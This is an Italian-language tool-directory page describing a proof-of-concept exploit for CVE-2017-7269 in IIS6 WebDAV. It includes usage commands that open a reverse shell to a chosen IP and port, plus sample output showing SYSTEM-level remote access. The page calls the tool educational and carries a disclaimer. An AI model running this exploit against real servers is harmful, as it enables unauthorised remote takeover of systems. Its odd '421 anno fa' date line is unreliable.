Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2017-7269 — è uno strumento PoC che dimostra un exploit per una vulnerabilità nota nel componente WebDAV di IIS6 | Kitploit
Strumenti/GitHubGitHub/geniuszly/cve-2017-7269
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubgeniuszly/cve-2017-7269

CVE-2017-7269

è uno strumento PoC che dimostra un exploit per una vulnerabilità nota nel componente WebDAV di IIS6

Vedi Repository
421 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

EN

GenWebDavIISExploit è uno strumento PoC che dimostra un exploit per una vulnerabilità nota nel componente WebDAV di IIS6. Questo strumento è progettato per scopi educativi e di ricerca, per mostrare come la vulnerabilità possa essere sfruttata per eseguire codice arbitrario su un server remoto.

Esclusione di responsabilità

Questo progetto è destinato solo a scopi educativi. Usa questo strumento in modo responsabile e solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione al test. L'accesso non autorizzato a sistemi informatici è illegale.

Caratteristiche

  • Esecuzione remota di codice su server IIS6 WebDAV vulnerabili.
  • Generazione dinamica del payload con IP e porta reverse specificati dall'utente.
  • Interfaccia a riga di comando semplice da usare per uno sfruttamento rapido.

Prerequisiti

  • Python 3.x: assicurati di avere Python 3 installato sul tuo sistema.
  • Accesso alla rete: possibilità di connettersi all'indirizzo IP e alla porta della macchina target.

Utilizzo

Argomenti della riga di comando

  • Target IP: l'indirizzo IP del server IIS6 WebDAV target.
  • Target Port: il numero di porta su cui è in esecuzione il servizio WebDAV (di solito 80).
  • Reverse IP: il tuo indirizzo IP a cui deve connettersi la reverse shell.
  • Reverse Port: il numero di porta sul tuo sistema per ricevere la reverse shell.

Esempio

root@kitploit:~
python3 GenWebDavIISExploit.py <target_ip> <target_port> <reverse_ip> <reverse_port>

Esempio di utilizzo

root@kitploit:~
python3 GenWebDavIISExploit.py 192.168.1.10 80 192.168.1.5 4444

Output di esempio

root@kitploit:~
$ python3 GenWebDavIISExploit.py 192.168.1.10 80 192.168.1.5 4444

[*] Подключение к цели 192.168.1.10 на порту 80...
[*] Отправка специально сформированного HTTP-запроса для эксплуатации уязвимости...
[*] Длина полезной нагрузки: 1744 байт
[*] Ожидание обратного соединения...

[+] Ответ от цели:
HTTP/1.1 200 OK
Content-Length: 123
Server: Microsoft-IIS/6.0

[+] Получено обратное соединение от 192.168.1.10:12345
[+] Удаленный доступ успешно установлен!

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> ipconfig
Настройка IP Windows

   Адаптер Ethernet Local Area Connection:
      DNS-суффикс подключения . . . . . : example.local
      IPv4-адрес. . . . . . . . . . . . : 192.168.1.10
      Маска подсети . . . . . . . . . . : 255.255.255.0
      Основной шлюз . . . . . . . . . . : 192.168.1.1

Note

  • Assicurati di avere un listener in esecuzione sulla porta reverse specificata per intercettare la reverse shell in entrata.
  • Usa questo strumento solo su sistemi autorizzati per verificare la presenza di vulnerabilità.
Scarica lo strumento